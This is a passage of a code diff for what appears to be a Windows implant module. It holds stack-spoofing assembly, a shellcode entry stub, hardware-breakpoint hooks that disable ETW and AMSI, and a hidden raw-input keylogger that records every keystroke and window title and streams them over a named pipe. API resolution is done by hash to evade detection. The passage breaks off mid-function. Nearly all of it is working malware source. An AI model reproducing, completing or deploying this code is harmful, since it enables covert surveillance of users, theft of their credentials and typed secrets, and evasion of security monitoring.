mov r10, rcx ; Preserve rcx
|
||||
mov rax, [rdi + 0x38] ; Load potential syscall number
|
||||
|
||||
jmp r11 ; Jump to target function
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Restoration Routine
|
||||
; ---------------------------------------------------------------------
|
||||
.restore:
|
||||
mov rcx, rbx ; Struct address to rcx
|
||||
|
||||
; Calculate total stack space to clean up
|
||||
add rsp, 0x200 ; add working space
|
||||
add rsp, [rbx + 0x08] ; add RtlUserThreadStart frame
|
||||
add rsp, [rbx + 0x18] ; add BaseThreadInitThunk frame
|
||||
add rsp, [rbx + 0x28] ; add Gadget frame
|
||||
|
||||
; Restore all preserved registers
|
||||
mov rbx, [rcx + 0x48] ; Restore original rbx
|
||||
mov rdi, [rcx + 0x50] ; Restore original rdi
|
||||
mov rsi, [rcx + 0x58] ; Restore original rsi
|
||||
mov r12, [rcx + 0x60] ; Restore original r12
|
||||
mov r13, [rcx + 0x68] ; Restore original r13
|
||||
mov r14, [rcx + 0x70] ; Restore original r14
|
||||
mov r15, [rcx + 0x78] ; Restore original r15
|
||||
|
||||
jmp [rcx + 0x40] ; Jump to real return address
|
||||
@@ -0,0 +1,36 @@
|
||||
[BITS 64]
|
||||
|
||||
EXTERN Entry
|
||||
|
||||
GLOBAL StartPtr
|
||||
GLOBAL EndPtr
|
||||
|
||||
[SECTION .text$A]
|
||||
Start:
|
||||
push rsi
|
||||
mov rsi, rsp
|
||||
and rsp, 0FFFFFFFFFFFFFFF0h
|
||||
sub rsp, 0x20
|
||||
call Entry
|
||||
mov rsp, rsi
|
||||
pop rsi
|
||||
ret
|
||||
|
||||
StartPtr:
|
||||
call RetStartPtr
|
||||
ret
|
||||
|
||||
RetStartPtr:
|
||||
mov rax, [rsp]
|
||||
sub rax, 0x1b
|
||||
ret
|
||||
|
||||
[SECTION .text$C]
|
||||
EndPtr:
|
||||
call RetEndPtr
|
||||
ret
|
||||
|
||||
RetEndPtr:
|
||||
mov rax, [rsp]
|
||||
sub rax, 0x5
|
||||
ret
|
||||
@@ -0,0 +1,215 @@
|
||||
#include <General.hpp>
|
||||
|
||||
auto DECLFN Hwbp::SetDr7(
|
||||
_In_ UPTR ActVal,
|
||||
_In_ UPTR NewVal,
|
||||
_In_ INT StartPos,
|
||||
_In_ INT BitsCount
|
||||
) -> UPTR {
|
||||
if (StartPos < 0 || BitsCount <= 0 || StartPos + BitsCount > 64) {
|
||||
return ActVal;
|
||||
}
|
||||
|
||||
UPTR Mask = (1ULL << BitsCount) - 1ULL;
|
||||
return (ActVal & ~(Mask << StartPos)) | ((NewVal & Mask) << StartPos);
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::Init( VOID ) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if ( Instance->Hwbp.Init ) return TRUE;
|
||||
|
||||
PVOID ExceptionHandler = (PVOID)&Hwbp::HandleException;
|
||||
|
||||
Instance->Hwbp.Handler = Instance->Win32.RtlAddVectoredExceptionHandler(
|
||||
TRUE, (PVECTORED_EXCEPTION_HANDLER)ExceptionHandler
|
||||
);
|
||||
|
||||
Instance->Hwbp.Init = TRUE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::Install(
|
||||
_In_ UPTR Address,
|
||||
_In_ INT8 Drx,
|
||||
_In_ PVOID Callback
|
||||
) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if (Drx < 0 || Drx > 3) return FALSE;
|
||||
|
||||
Instance->Hwbp.Callbacks[Drx] = (UPTR)Callback;
|
||||
Instance->Hwbp.Addresses[Drx] = Address;
|
||||
|
||||
|
||||
return Hwbp::SetBreak(Address, Drx, TRUE);
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::SetBreak(
|
||||
UPTR Address,
|
||||
INT8 Drx,
|
||||
BOOL Init
|
||||
) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if (Drx < 0 || Drx > 3) return FALSE;
|
||||
|
||||
CONTEXT Ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
|
||||
HANDLE Handle = NtCurrentThread();
|
||||
NTSTATUS Status = STATUS_SUCCESS;
|
||||
|
||||
Status = Instance->Win32.NtGetContextThread(Handle, &Ctx);
|
||||
|
||||
|
||||
if (Init) {
|
||||
(&Ctx.Dr0)[Drx] = Address;
|
||||
Ctx.Dr7 = Hwbp::SetDr7(Ctx.Dr7, 3, (Drx * 2), 2); // active breakpoint
|
||||
} else {
|
||||
(&Ctx.Dr0)[Drx] = 0;
|
||||
Ctx.Dr7 = Hwbp::SetDr7(Ctx.Dr7, 0, (Drx * 2), 2); // desactive breakpoint
|
||||
}
|
||||
|
||||
Status = Instance->Win32.NtContinue( &Ctx, FALSE );
|
||||
|
||||
return NT_SUCCESS(Status);
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::GetArg(
|
||||
_In_ PCONTEXT Ctx,
|
||||
_In_ ULONG Idx
|
||||
) -> UPTR {
|
||||
#ifdef _WIN64
|
||||
switch (Idx) {
|
||||
case 1: return Ctx->Rcx;
|
||||
case 2: return Ctx->Rdx;
|
||||
case 3: return Ctx->R8;
|
||||
case 4: return Ctx->R9;
|
||||
}
|
||||
return *(UPTR*)(Ctx->Rsp + (Idx * sizeof(PVOID)));
|
||||
#else
|
||||
return *(ULONG*)(Ctx->Esp + (Idx * sizeof(PVOID)));
|
||||
#endif
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::SetArg(
|
||||
_In_ PCONTEXT Ctx,
|
||||
_In_ UPTR Val,
|
||||
_In_ ULONG Idx
|
||||
) -> VOID {
|
||||
#ifdef _WIN64
|
||||
switch (Idx) {
|
||||
case 1: Ctx->Rcx = Val; return;
|
||||
case 2: Ctx->Rdx = Val; return;
|
||||
case 3: Ctx->R8 = Val; return;
|
||||
case 4: Ctx->R9 = Val; return;
|
||||
}
|
||||
*(UPTR*)(Ctx->Rsp + (Idx * sizeof(PVOID))) = Val;
|
||||
#else
|
||||
*(ULONG*)(Ctx->Esp + (Idx * sizeof(PVOID))) = Val;
|
||||
#endif
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::HandleException(
|
||||
EXCEPTION_POINTERS* e
|
||||
) -> LONG {
|
||||
G_INSTANCE
|
||||
|
||||
|
||||
if ( e->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP ) {
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
INT8 Drx = -1;
|
||||
for ( INT8 i = 0; i < 4; i++ ) {
|
||||
if ( e->ExceptionRecord->ExceptionAddress == (PVOID)Instance->Hwbp.Addresses[i] ) {
|
||||
Drx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (Drx == -1 || !Instance->Hwbp.Callbacks[Drx]) {
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
|
||||
Hwbp::SetBreak( Instance->Hwbp.Addresses[Drx], Drx, FALSE);
|
||||
|
||||
|
||||
VOID ( * CallBackRun )( PCONTEXT )= reinterpret_cast<decltype(CallBackRun)>(Instance->Hwbp.Callbacks[Drx]);
|
||||
CallBackRun(e->ContextRecord);
|
||||
|
||||
|
||||
Hwbp::SetBreak( Instance->Hwbp.Addresses[Drx], Drx, TRUE);
|
||||
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::PatchExitDetour(PCONTEXT Ctx) -> VOID {
|
||||
Ctx->Rax = 0;
|
||||
Ctx->Rip = *(UPTR*)Ctx->Rsp;
|
||||
Ctx->Rsp += sizeof(PVOID);
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::KeyloggerInit( INT32 BypassFlags ) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if (!Hwbp::Init()) return FALSE;
|
||||
|
||||
BOOL Success = TRUE;
|
||||
|
||||
if ( BypassFlags ) {
|
||||
if ( BypassFlags == KEYLOGGER_BYPASS_ETW || BypassFlags == KEYLOGGER_BYPASS_ALL ) {
|
||||
Success = Hwbp::Install( (UPTR)Instance->Hwbp.NtTraceEvent, Dr::x1, (PVOID)Hwbp::EtwDetour );
|
||||
if ( ! Success ) return Success;
|
||||
}
|
||||
|
||||
if ( BypassFlags == KEYLOGGER_BYPASS_AMSI || BypassFlags == KEYLOGGER_BYPASS_ALL ) {
|
||||
Success = Hwbp::Install( (UPTR)Instance->Hwbp.AmsiScanBuffer, Dr::x2, (PVOID)Hwbp::AmsiDetour );
|
||||
if ( ! Success ) return Success;
|
||||
}
|
||||
}
|
||||
|
||||
return Success;
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::Clean() -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
CONTEXT Ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
|
||||
|
||||
Instance->Win32.NtGetContextThread( NtCurrentThread(), &Ctx );
|
||||
|
||||
Ctx.Dr0 = 0;
|
||||
Ctx.Dr1 = 0;
|
||||
Ctx.Dr2 = 0;
|
||||
Ctx.Dr3 = 0;
|
||||
Ctx.Dr7 = 0;
|
||||
|
||||
for (INT8 i = 0; i < 4; i++) {
|
||||
Instance->Hwbp.Callbacks[i] = (UPTR)nullptr;
|
||||
Instance->Hwbp.Addresses[i] = 0;
|
||||
}
|
||||
|
||||
Instance->Win32.RtlRemoveVectoredExceptionHandler( Instance->Hwbp.Handler );
|
||||
|
||||
return Instance->Win32.NtContinue( &Ctx, FALSE );
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::KeyloggerExit() -> BOOL {
|
||||
return Hwbp::Clean();
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::EtwDetour( PCONTEXT Ctx ) -> VOID {
|
||||
Ctx->Rip = *(UPTR*)Ctx->Rsp;
|
||||
Ctx->Rsp += sizeof(PVOID);
|
||||
Ctx->Rax = STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::AmsiDetour( PCONTEXT Ctx ) -> VOID {
|
||||
G_INSTANCE
|
||||
|
||||
Ctx->Rdx = (UPTR)LoadApi(LoadModule(HashStr("ntdll.dll")), HashStr("NtAllocateVirtualMemory"));
|
||||
Ctx->EFlags = (Ctx->EFlags | (1 << 16));
|
||||
}
|
||||
@@ -0,0 +1,542 @@
|
||||
#include <General.hpp>
|
||||
|
||||
using namespace mscorlib;
|
||||
|
||||
auto DECLFN KeyloggerInstall(
|
||||
) -> HRESULT {
|
||||
G_INSTANCE
|
||||
|
||||
HRESULT HResult = 0;
|
||||
|
||||
auto KeyloggerCleanup = [&]() {
|
||||
return HResult;
|
||||
};
|
||||
|
||||
SECURITY_ATTRIBUTES SecAttr = {
|
||||
.nLength = sizeof(SECURITY_ATTRIBUTES),
|
||||
.lpSecurityDescriptor = nullptr,
|
||||
.bInheritHandle = TRUE
|
||||
};
|
||||
|
||||
Instance->Pipe.Write = Instance->Win32.CreateNamedPipeA(
|
||||
Instance->Pipe.Name, PIPE_ACCESS_DUPLEX,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1, PIPE_BUFFER_LENGTH, PIPE_BUFFER_LENGTH, 0, &SecAttr
|
||||
);
|
||||
|
||||
if ( Instance->Pipe.Write == INVALID_HANDLE_VALUE ) {
|
||||
DWORD err = NtCurrentTeb()->LastErrorValue;
|
||||
return KeyloggerCleanup();
|
||||
}
|
||||
|
||||
if ( ! Instance->Win32.ConnectNamedPipe( Instance->Pipe.Write, nullptr ) && NtCurrentTeb()->LastErrorValue != ERROR_PIPE_CONNECTED) {
|
||||
DWORD err = NtCurrentTeb()->LastErrorValue;
|
||||
return KeyloggerCleanup();
|
||||
}
|
||||
|
||||
Instance->Win32.SetStdHandle( STD_OUTPUT_HANDLE, Instance->Pipe.Write );
|
||||
|
||||
CHAR* teststr = "[+] PIPE WORKSSS\n";
|
||||
SafePipeWrite(teststr, Str::LengthA(teststr));
|
||||
|
||||
if ( Instance->Ctx.Bypass ) {
|
||||
Hwbp::KeyloggerInit( Instance->Ctx.Bypass );
|
||||
}
|
||||
|
||||
// Register a Window class
|
||||
WNDCLASSEXW WinClass = { 0 };
|
||||
WinClass.cbSize = sizeof(WNDCLASSEXW);
|
||||
WinClass.lpfnWndProc = WndCallback; // process WM_INPUT messages
|
||||
WinClass.hInstance = Instance->Win32.GetModuleHandleA(NULL);
|
||||
WinClass.lpszClassName = KEYLOG_CLASS_NAME;
|
||||
|
||||
if (!Instance->Win32.RegisterClassExW(&WinClass))
|
||||
{
|
||||
DWORD err = NtCurrentTeb()->LastErrorValue;
|
||||
return KeyloggerCleanup();
|
||||
}
|
||||
|
||||
teststr = "[+] Registered Window Class: \n";
|
||||
SafePipeWrite(teststr, Str::LengthA(teststr));
|
||||
|
||||
teststr = "[+] Creating Message-Only Window ...\n";
|
||||
SafePipeWrite(teststr, Str::LengthA(teststr));
|
||||
|
||||
HWND WindowHandle = Instance->Win32.CreateWindowExW(0, WinClass.lpszClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, Instance->Win32.GetModuleHandleA(NULL), NULL);
|
||||
|
||||
DWORD err = NtCurrentTeb()->LastErrorValue;
|
||||
Instance->Win32.DbgPrint("CreateWindowExW err: %d\n", err);
|
||||
|
||||
Instance->Win32.DbgPrint("\n\n=======================\n[+] WindowHandle: %p\n\n", WindowHandle);
|
||||
|
||||
if(! WindowHandle)
|
||||
{
|
||||
teststr = "[!] Failed to create Message-Only Window\n";
|
||||
SafePipeWrite(teststr, Str::LengthA(teststr));
|
||||
|
||||
return KeyloggerCleanup();
|
||||
}
|
||||
|
||||
teststr = "[+] Created Message-Only Window\n";
|
||||
SafePipeWrite(teststr, Str::LengthA(teststr));
|
||||
|
||||
RAWINPUTDEVICE RawDevice = { 0 };
|
||||
|
||||
RawDevice.usUsagePage = HID_USAGE_PAGE_GENERIC; // Generic Desktop Controls
|
||||
RawDevice.usUsage = HID_USAGE_GENERIC_KEYBOARD; // Keyboard
|
||||
RawDevice.dwFlags = RIDEV_INPUTSINK; // Receive input even when not in focus
|
||||
RawDevice.hwndTarget = WindowHandle; // Our message-only window
|
||||
|
||||
if (!Instance->Win32.RegisterRawInputDevices(&RawDevice, 1, sizeof(RAWINPUTDEVICE)))
|
||||
{
|
||||
teststr = "[!] Failed to register Raw Input Device\n";
|
||||
SafePipeWrite(teststr, Str::LengthA(teststr));
|
||||
|
||||
return KeyloggerCleanup();
|
||||
}
|
||||
|
||||
teststr = "[+] Registered Raw Input Device\n";
|
||||
SafePipeWrite(teststr, Str::LengthA(teststr));
|
||||
|
||||
teststr = "[+] Entering message loop...\n";
|
||||
SafePipeWrite(teststr, Str::LengthA(teststr));
|
||||
|
||||
MSG Msg = { 0 };
|
||||
|
||||
// enter the window message processing loop
|
||||
while (Instance->Win32.GetMessageW(&Msg, NULL, 0, 0))
|
||||
{
|
||||
SafePipeWrite("[+] Processing message\n", 23);
|
||||
Instance->Win32.TranslateMessage(&Msg);
|
||||
Instance->Win32.DispatchMessageW(&Msg);
|
||||
}
|
||||
|
||||
SafePipeWrite("[+] Exiting message loop\n", 25);
|
||||
|
||||
// deactive hwbp to bypass amsi/etw
|
||||
if ( Instance->Ctx.Bypass ) {
|
||||
SafePipeWrite("[+] Deactivating HWBP\n", 22);
|
||||
Hwbp::KeyloggerExit();
|
||||
}
|
||||
|
||||
Instance->Win32.FlushFileBuffers( Instance->Pipe.Write );
|
||||
return KeyloggerCleanup();
|
||||
}
|
||||
|
||||
auto DECLFN CreateAndWaitPipe() -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
SECURITY_ATTRIBUTES SecAttr = {
|
||||
.nLength = sizeof(SECURITY_ATTRIBUTES),
|
||||
.lpSecurityDescriptor = nullptr,
|
||||
.bInheritHandle = TRUE
|
||||
};
|
||||
|
||||
// close old handle if present
|
||||
if (Instance->Pipe.Write && Instance->Pipe.Write != INVALID_HANDLE_VALUE) {
|
||||
// disconnect then close
|
||||
Instance->Win32.DisconnectNamedPipe(Instance->Pipe.Write);
|
||||
Instance->Win32.NtClose((HANDLE)Instance->Pipe.Write);
|
||||
Instance->Pipe.Write = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
Instance->Pipe.Write = Instance->Win32.CreateNamedPipeA(
|
||||
Instance->Pipe.Name,
|
||||
PIPE_ACCESS_DUPLEX,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1,
|
||||
PIPE_BUFFER_LENGTH,
|
||||
PIPE_BUFFER_LENGTH,
|
||||
0,
|
||||
&SecAttr
|
||||
);
|
||||
|
||||
if (Instance->Pipe.Write == INVALID_HANDLE_VALUE) {
|
||||
DWORD err = NtCurrentTeb()->LastErrorValue;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Wait for a client to connect.
|
||||
if (!Instance->Win32.ConnectNamedPipe(Instance->Pipe.Write, nullptr) &&
|
||||
NtCurrentTeb()->LastErrorValue != ERROR_PIPE_CONNECTED) {
|
||||
DWORD err = NtCurrentTeb()->LastErrorValue;
|
||||
Instance->Win32.NtClose((HANDLE)Instance->Pipe.Write);
|
||||
Instance->Pipe.Write = INVALID_HANDLE_VALUE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance->Win32.SetStdHandle(STD_OUTPUT_HANDLE, Instance->Pipe.Write);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
auto DECLFN SafePipeWrite(
|
||||
_In_ CONST VOID* Buffer,
|
||||
_In_ DWORD BytesToWrite
|
||||
) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if (!Instance->Pipe.Write || Instance->Pipe.Write == INVALID_HANDLE_VALUE) {
|
||||
if (!CreateAndWaitPipe()) return FALSE;
|
||||
}
|
||||
|
||||
DWORD BytesWritten = 0;
|
||||
BOOL ok = Instance->Win32.WriteFile(Instance->Pipe.Write, Buffer, BytesToWrite, &BytesWritten, NULL);
|
||||
if (ok) return TRUE;
|
||||
|
||||
DWORD err = NtCurrentTeb()->LastErrorValue;
|
||||
|
||||
if (err == ERROR_NO_DATA || err == ERROR_BROKEN_PIPE || err == ERROR_PIPE_NOT_CONNECTED) {
|
||||
// try to recreate and retry once
|
||||
CreateAndWaitPipe();
|
||||
BytesWritten = 0;
|
||||
ok = Instance->Win32.WriteFile(Instance->Pipe.Write, Buffer, BytesToWrite, &BytesWritten, NULL);
|
||||
return ok ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
auto DECLFN CALLBACK WndCallback(
|
||||
_In_ HWND Window,
|
||||
_In_ UINT Message,
|
||||
_In_ WPARAM WParam,
|
||||
_In_ LPARAM LParam
|
||||
) -> LRESULT {
|
||||
G_INSTANCE
|
||||
|
||||
UINT Length = 0;
|
||||
PRAWINPUT RawInput = NULL;
|
||||
|
||||
switch (Message)
|
||||
{
|
||||
case WM_DESTROY:
|
||||
SafePipeWrite("[+] WM_DESTROY received\n", 23);
|
||||
|
||||
Instance->Win32.PostQuitMessage(0);
|
||||
return 0;
|
||||
|
||||
case WM_INPUT:
|
||||
// this is not reaching in the code ????
|
||||
SafePipeWrite("[+] WM_INPUT received\n", 21);
|
||||
|
||||
// Determine size of the input data
|
||||
Instance->Win32.GetRawInputData((HRAWINPUT)LParam, RID_INPUT, NULL, &Length, sizeof(RAWINPUTHEADER));
|
||||
|
||||
// Allocate memory for the input structure
|
||||
RawInput = (PRAWINPUT)Instance->Win32.HeapAlloc(Instance->Win32.GetProcessHeap(), HEAP_ZERO_MEMORY, Length);
|
||||
if (!RawInput)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Retrieve input
|
||||
if (Instance->Win32.GetRawInputData((HRAWINPUT)LParam, RID_INPUT, RawInput, &Length, sizeof(RAWINPUTHEADER)) != Length)
|
||||
{
|
||||
Instance->Win32.HeapFree(Instance->Win32.GetProcessHeap(), 0, RawInput);
|
||||
break;
|
||||
}
|
||||
|
||||
// Process input
|
||||
if (RawInput->data.keyboard.Message == WM_KEYDOWN)
|
||||
{
|
||||
ProcessKey(RawInput->data.keyboard.VKey);
|
||||
}
|
||||
|
||||
// Free allocated memory
|
||||
Instance->Win32.HeapFree(Instance->Win32.GetProcessHeap(), 0, RawInput);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Return to Default Message Processing
|
||||
return Instance->Win32.DefWindowProcW(Window, Message, WParam, LParam);
|
||||
}
|
||||
|
||||
|
||||
VOID ProcessWindowTitle()
|
||||
{
|
||||
G_INSTANCE
|
||||
|
||||
WCHAR Buffer[KEYLOG_BUFFER_LEN + 1] = { 0 };
|
||||
WCHAR Title[KEYLOG_BUFFER_LEN + 1] = { 0 };
|
||||
DWORD ProcessId = { 0 };
|
||||
HWND CurrentWindow = { 0 };
|
||||
DWORD BytesWritten = { 0 };
|
||||
|
||||
Instance->Win32.RtlSecureZeroMemory(Buffer, sizeof(Buffer));
|
||||
Instance->Win32.RtlSecureZeroMemory(Title, sizeof(Title));
|
||||
|
||||
SafePipeWrite("[+] Checking window title...\n", 28);
|
||||
|
||||
// get current foreground/active window title
|
||||
if ((CurrentWindow = Instance->Win32.GetForegroundWindow()))
|
||||
{
|
||||
SafePipeWrite("[+] Got foreground window\n", 26);
|
||||
// get the window title name and the associated process id
|
||||
Instance->Win32.GetWindowThreadProcessId(CurrentWindow, &ProcessId);
|
||||
if (!Instance->Win32.GetWindowTextW(CurrentWindow, Buffer, sizeof(Buffer)))
|
||||
{
|
||||
SafePipeWrite("[!] Failed to get window title\n", 30);
|
||||
Instance->Win32.swprintf(Buffer, KEYLOG_BUFFER_LEN, L"(No Title)");
|
||||
}
|
||||
|
||||
// check when ever the title has been changed.
|
||||
if (Instance->Win32.wcsncmp(Instance->g_TitleBuffer, Buffer, Instance->Win32.wcslen(Buffer)) != 0)
|
||||
{
|
||||
SafePipeWrite("[+] Window title changed\n", 25);
|
||||
|
||||
memcpy(Instance->g_TitleBuffer, Buffer, sizeof(Buffer));
|
||||
|
||||
SafePipeWrite("[+] memcpy works\n", 16);
|
||||
Instance->Win32.swprintf(Title, sizeof(Title), L"\n\n[%ld] %ls\n", ProcessId, Instance->g_TitleBuffer);
|
||||
|
||||
SafePipeWrite("[+] New Window Title: ", 22);
|
||||
SafePipeWrite(Title, (DWORD)(Instance->Win32.wcslen(Title) * sizeof(wchar_t)));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID ProcessKey(UINT Key)
|
||||
{
|
||||
G_INSTANCE
|
||||
|
||||
WCHAR Unicode[2] = { 0 };
|
||||
BYTE Keyboard[256] = { 0 };
|
||||
WCHAR Buffer[KEYLOG_BUFFER_LEN+1] = { 0 };
|
||||
DWORD BytesWritten = { 0 };
|
||||
|
||||
Instance->Win32.RtlSecureZeroMemory(Keyboard, sizeof(Keyboard));
|
||||
Instance->Win32.RtlSecureZeroMemory(Unicode, sizeof(Unicode));
|
||||
Instance->Win32.RtlSecureZeroMemory(Buffer, sizeof(Buffer));
|
||||
|
||||
// log the current window title if it has been changed
|
||||
ProcessWindowTitle();
|
||||
|
||||
SafePipeWrite("[+] Key Pressed: ", 16);
|
||||
|
||||
Instance->Win32.GetKeyState(0);
|
||||
Instance->Win32.GetKeyboardState(Keyboard);
|
||||
|
||||
switch (Key)
|
||||
{
|
||||
case VK_CONTROL:
|
||||
// dont log CTRL only
|
||||
break;
|
||||
|
||||
case VK_ESCAPE:
|
||||
Instance->Win32.swprintf(Buffer, KEYLOG_BUFFER_LEN, L"[ESCAPE]");
|
||||
break;
|
||||
|
||||
case VK_RETURN:
|
||||
Instance->Win32.swprintf(Buffer, KEYLOG_BUFFER_LEN, L"[RETURN]");
|
||||
break;
|
||||
|
||||
case VK_BACK:
|
||||
Instance->Win32.swprintf(Buffer, KEYLOG_BUFFER_LEN, L"[BACK]");
|
||||
break;
|
||||
|
||||
case VK_TAB:
|
||||
Instance->Win32.swprintf(Buffer, KEYLOG_BUFFER_LEN, L"[TAB]");
|
||||
break;
|
||||
|
||||
case VK_SPACE:
|
||||
Instance->Win32.swprintf(Buffer, KEYLOG_BUFFER_LEN, L" ");
|
||||
break;
|
||||
|
||||
default:
|
||||
if (Instance->Win32.ToUnicode(Key, Instance->Win32.MapVirtualKeyW(Key, MAPVK_VK_TO_VSC), Keyboard, Unicode, 1, 0) > 0)
|
||||
{
|
||||
Instance->Win32.swprintf(Buffer, KEYLOG_BUFFER_LEN, L"%ls", Unicode);
|
||||
}
|
||||
}
|
||||
|
||||
SafePipeWrite(Buffer, (DWORD)(Instance->Win32.wcslen(Buffer) * sizeof(WCHAR)));
|
||||
}
|
||||
|
||||
auto DECLFN LibLoad( CHAR* LibName ) -> UPTR {
|
||||
G_INSTANCE
|
||||
|
||||
if ( ! Instance->Ctx.IsSpoof ) {
|
||||
return (UPTR)Instance->Win32.LoadLibraryA( LibName );
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("load %p\n", Instance->Win32.LoadLibraryA);
|
||||
|
||||
return (UPTR)Spoof::Call( (UPTR)( Instance->Win32.LoadLibraryA ), 0, (UPTR)LibName );
|
||||
}
|
||||
|
||||
auto DECLFN LoadEssentials( INSTANCE* Instance ) -> VOID {
|
||||
UPTR Ntdll = LoadModule( HashStr( "ntdll.dll" ) );
|
||||
UPTR Kernel32 = LoadModule( HashStr( "kernel32.dll" ) );
|
||||
UPTR User32 = LoadModule(HashStr( "user32.dll" ));
|
||||
UPTR Msvcrt = LoadModule(HashStr( "msvcrt.dll" ));
|
||||
|
||||
Instance->Win32.Ntdll = Ntdll;
|
||||
Instance->Win32.Msvcrt = Msvcrt;
|
||||
Instance->Win32.User32 = User32;
|
||||
|
||||
Instance->Win32.LoadLibraryA = (decltype(Instance->Win32.LoadLibraryA))LoadApi(Kernel32, HashStr("LoadLibraryA"));
|
||||
|
||||
if (!User32) User32 = (UPTR)LibLoad("user32.dll");
|
||||
|
||||
|
||||
Instance->Win32.swprintf = (decltype(Instance->Win32.swprintf))LoadApi(Msvcrt, HashStr("swprintf"));
|
||||
Instance->Win32.wcslen = (decltype(Instance->Win32.wcslen))LoadApi(Msvcrt, HashStr("wcslen"));
|
||||
Instance->Win32.wcsncmp = (decltype(Instance->Win32.wcsncmp))LoadApi(Msvcrt, HashStr("wcsncmp"));
|
||||
|
||||
Instance->Win32.DbgPrint = (decltype(Instance->Win32.DbgPrint))LoadApi(Ntdll, HashStr("DbgPrint"));
|
||||
|
||||
Instance->Win32.NtClose = (decltype(Instance->Win32.NtClose))LoadApi(Ntdll, HashStr("NtClose"));
|
||||
|
||||
Instance->Win32.GetProcAddress = (decltype(Instance->Win32.GetProcAddress))LoadApi(Kernel32, HashStr("GetProcAddress"));
|
||||
Instance->Win32.GetModuleHandleA = (decltype(Instance->Win32.GetModuleHandleA))LoadApi(Kernel32, HashStr("GetModuleHandleA"));
|
||||
|
||||
Instance->Win32.NtProtectVirtualMemory = (decltype(Instance->Win32.NtProtectVirtualMemory))LoadApi(Ntdll, HashStr("NtProtectVirtualMemory"));
|
||||
|
||||
Instance->Win32.RtlAllocateHeap = (decltype(Instance->Win32.RtlAllocateHeap))LoadApi(Ntdll, HashStr("RtlAllocateHeap"));
|
||||
Instance->Win32.RtlReAllocateHeap = (decltype(Instance->Win32.RtlReAllocateHeap))LoadApi(Ntdll, HashStr("RtlReAllocateHeap"));
|
||||
Instance->Win32.RtlFreeHeap = (decltype(Instance->Win32.RtlFreeHeap))LoadApi(Ntdll, HashStr("RtlFreeHeap"));
|
||||
Instance->Win32.GetConsoleWindow = (decltype(Instance->Win32.GetConsoleWindow))LoadApi(Kernel32, HashStr("GetConsoleWindow"));
|
||||
Instance->Win32.AllocConsoleWithOptions = (decltype(Instance->Win32.AllocConsoleWithOptions))LoadApi(Kernel32, HashStr("AllocConsoleWithOptions"));
|
||||
Instance->Win32.FreeConsole = (decltype(Instance->Win32.FreeConsole))LoadApi(Kernel32, HashStr("FreeConsole"));
|
||||
|
||||
Instance->Win32.CreateFileA = (decltype(Instance->Win32.CreateFileA))LoadApi(Kernel32, HashStr("CreateFileA"));
|
||||
Instance->Win32.CreatePipe = (decltype(Instance->Win32.CreatePipe))LoadApi(Kernel32, HashStr("CreatePipe"));
|
||||
Instance->Win32.CreateNamedPipeA = (decltype(Instance->Win32.CreateNamedPipeA))LoadApi(Kernel32, HashStr("CreateNamedPipeA"));
|
||||
Instance->Win32.ConnectNamedPipe = (decltype(Instance->Win32.ConnectNamedPipe))LoadApi(Kernel32, HashStr("ConnectNamedPipe"));
|
||||
Instance->Win32.DisconnectNamedPipe = (decltype(Instance->Win32.DisconnectNamedPipe))LoadApi(Kernel32, HashStr("DisconnectNamedPipe"));
|
||||
Instance->Win32.FlushFileBuffers = (decltype(Instance->Win32.FlushFileBuffers))LoadApi(Kernel32, HashStr("FlushFileBuffers"));
|
||||
Instance->Win32.ReadFile = (decltype(Instance->Win32.ReadFile))LoadApi(Kernel32, HashStr("ReadFile"));
|
||||
Instance->Win32.WriteFile = (decltype(Instance->Win32.WriteFile))LoadApi(Kernel32, HashStr("WriteFile"));
|
||||
Instance->Win32.SetStdHandle = (decltype(Instance->Win32.SetStdHandle))LoadApi(Kernel32, HashStr("SetStdHandle"));
|
||||
Instance->Win32.GetStdHandle = (decltype(Instance->Win32.GetStdHandle))LoadApi(Kernel32, HashStr("GetStdHandle"));
|
||||
|
||||
Instance->Win32.NtDelayExecution = (decltype(Instance->Win32.NtDelayExecution))LoadApi(Ntdll, HashStr("NtDelayExecution"));
|
||||
